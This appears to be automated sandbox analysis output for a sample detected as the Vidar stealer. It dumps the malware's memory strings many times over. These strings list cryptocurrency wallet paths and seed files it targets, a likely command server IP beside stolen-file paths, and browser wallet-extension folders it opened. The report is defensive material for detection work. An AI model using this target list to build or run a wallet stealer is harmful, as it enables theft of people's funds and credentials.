Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\.finger-print.fpl=4
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2447069810.00000000004D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
